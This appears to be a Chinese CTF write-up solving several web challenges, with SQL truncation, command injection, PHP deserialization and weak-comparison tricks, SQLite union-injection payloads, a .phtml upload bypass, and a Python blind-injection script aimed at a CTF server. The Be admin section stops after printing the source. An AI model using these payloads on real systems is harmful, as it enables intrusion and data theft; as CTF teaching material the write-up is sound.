Login
首先创建id 登陆进去 发现要用admin登陆
首先用爆破想想不可能
其次利用注册重新注册admin
一开始想的是利用SQL注释等注册但发现不行
其次就想到长度限制&空格漏洞
'guest'= 'guest '
首先绕过重名检测 ,接着设置了长度限制之后用空格漏洞注册注册admin
Get Flag
随便输入试试
1.jpga
发现是cat 命令
利用ls 及 cat 命令查找flag
Text wall
首先扫描目录找到源码 .index.php.swo
发现可以读取文件,我们发现图片的存储是序列化存储
解开之后是一个数组
打印内容的时候是循环遍历打印
foreach ($a as $key => $value) {
echo $key,$value;
}
如果$a是一个类,上面的结构回将类中的变量循环打印出来
__tostring 的触发事件是echo 类,正符合此题
<?php
Class filelist{
public $source = '';
}
$z = new filelist();
$z->source = 'index.php';
$y = new filelist();
$y->source = $z;
echo sha1(serialize($y)).serialize($y);
?>
打开文件夹就是flag
Wallet
这一题考了很多知识点
讲一下做题思路
首先发现了源码index.php.bak
源码有加密,丢淘宝解密
得到源码
<?php
require_once("db.php");
$auth = 0;
if (isset($_COOKIE["auth"])) {
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh) {
$auth = 0;
} else if (sha1((string)$hsh) == md5((string)$auth)) { //
$auth = 1; //
} else {
$auth = 0;
}
} else {
$auth = 0;
$s = $auth;
setcookie("auth", $s);
setcookie("hsh", sha1((string)$s));
}
if ($auth) {
if (isset($_GET['query'])) {
$db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
$qstr = SQLITE3::escapeString($_GET['query']);
$query = "SELECT amount FROM my_wallets WHERE id=$qstr";
$result = $db->querySingle($query);
if (!$result === NULL) {
echo "Error - invalid query";
} else {
echo "Wallet contains: $result"; // 输出flag
}
} else {
echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body><ml>";
}
} else echo "Sorry, not authorized.";
?>
首先要绕过
if (isset($_COOKIE["auth"])) {
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh) {
$auth = 0;
} else if (sha1((string)$hsh) == md5((string)$auth)) { //
$auth = 1; //
} else {
$auth = 0;
}
} else {
$auth = 0;
$s = $auth;
setcookie("auth", $s);
setcookie("hsh", sha1((string)$s));
}
利用php弱类型比较
$hsh = 'aaroZmOk'
$auth = 'QNKCDZO'
登进admin
接下来就是简单的sqlite 注入
猜测为 id字段 flag表 当然也可以利用查表得到
1 union select group_concat(tbl_name) from sqlite_master limit 1,1-- 暴表
1 union select sql from sqlite_master where tbl_name="flag" and type="table" limit 1,1-- 爆字段
1 union select group_concat(id) from flag limit 1,1--暴内容
pictures‘ wall
一道上传题,上传类的题目做得也不少了,都是一个套路。
看看这题
首先找到上传窗口,根据题目提示利用host:127.0.0.1登录成功找到上传界面
我们在上传时改包
上传成功,试了.php345 .inc .phtml .phpt .phps 最后.phtml可以解析,其他的都不行
print_r(scandir(“/opt/lampp/htdocs”));
echo exec('pwd');//查看当前文件路径
print_r(scandir('../../'))
Be admin
有时候看见密码的题目都不想做,太麻烦
利用SQLmap跑了一遍跑出了用户名及密码加密过后的值
[1 entry]
+---------+----------+-------------------------------------------------------------------+
| isadmin | username | encrypted_pass |
+---------+----------+-------------------------------------------------------------------+
| 1 | admin | aVZ1c2VkQnk0ZG1pbiEhIV+W2coxQmZQWMLGaWZuItWr+E26IKb1OFh4Shf/fNSQ |
+---------+----------+-------------------------------------------------------------------+
扫描目录得到源码
<?php
error_reporting(0);
define("SECRET_KEY", "......");
define("METHOD", "aes-128-cbc");
session_start();
function get_random_token(){
$random_token='';
for($i=0;$i<16;$i++){
$random_token.=chr(rand(1,255));
}
return $random_token;
}
function get_identity()
{
global $defaultId;
$j = $defaultId;
$token = get_random_token();
$c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("ID", base64_encode($c));
setcookie("token", base64_encode($token));
if ($j === 'admin') {
$_SESSION['isadmin'] = true;
} else $_SESSION['isadmin'] = false;
}
function test_identity()
{
if (!isset($_COOKIE["token"]))
return array();
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
if ($u === 'admin') {
$_SESSION['isadmin'] = true;
} else $_SESSION['isadmin'] = false;
} else {
die("ERROR!");
}
}
}
function login($encrypted_pass, $pass)
{
$encrypted_pass = base64_decode($encrypted_pass);
$iv = substr($encrypted_pass, 0, 16);
$cipher = substr($encrypted_pass, 16);
$password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
return $password == $pass;
}
function need_login($message = NULL) {
echo " <!doctype html>
<html>
<head>
<meta charset=\"UTF-8\">
<title>Login</title>
<link rel=\"stylesheet\" href=\"CSS/target.css\">
<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js\"></script>
</head>
<body>";
if (isset($message)) {
echo " <div>" . $message . "</div>\n";
}
echo "<form method=\"POST\" action=''>
<div class=\"body\"></div>
<div class=\"grad\"></div>
<div class=\"header\">
<div>Log<span>In</span></div>
</div>
<br>
<div class=\"login\">
<input type=\"text\" placeholder=\"username\" name=\"username\">
<input type=\"password\" placeholder=\"password\" name=\"password\">
<input type=\"submit\" value=\"Login\">
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
</form>
</body>
</html>";
}
function show_homepage() {
echo "<!doctype html>
<html>
<head><title>Login</title></head>
<body>";
global $flag;
printf("Hello ~~~ ctfer! ");
if ($_SESSION["isadmin"])
echo $flag;
echo "<div><a href=\"logout.php\">Log out</a></div>
</body>
</html>";
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$query = "SELECT username, encrypted_pass from users WHERE username='$username'";
$res = $conn->query($query) or trigger_error($conn->error . "[$query]");
if ($row = $res->fetch_assoc()) {
$uname = $row['username'];
$encrypted_pass = $row["encrypted_pass"];
}
if ($row && login($encrypted_pass, $password)) {
echo "you are in!" . "</br>";
get_identity();
show_homepage();
} else {
echo "<script>alert('login failed!');</script>";
need_login("Login Failed!");
}
} else {
test_identity();
if (isset($_SESSION["id"])) {
show_homepage();
} else {
need_login();
}
}
源码到手 接下来就是代码审计 查找漏洞
Come On
这是道注入题,所以第一步找注入点
1%df' || if(1=1,1,0)%23
注意他过滤了<> or and
数据表,字段是猜出来的
1%df' || exists(select(flag)from(flag))%23
等关键字,下面就基于内容长度的盲注
import requests
string = ''
for i in range(1,33):
for mid in range(32,127):
url = "http://218.2.197.235:23733/index.php?key=1%df' || if((select(right(left((select(flag)from(flag)),{}),1)))=binary({}),1,0)%23".format(str(i),str(bin(mid)))
s=requests.get(url=url)
content=s.content
length=len(content)
#print length
if length > 1000 :
string+=chr(mid)
break
print string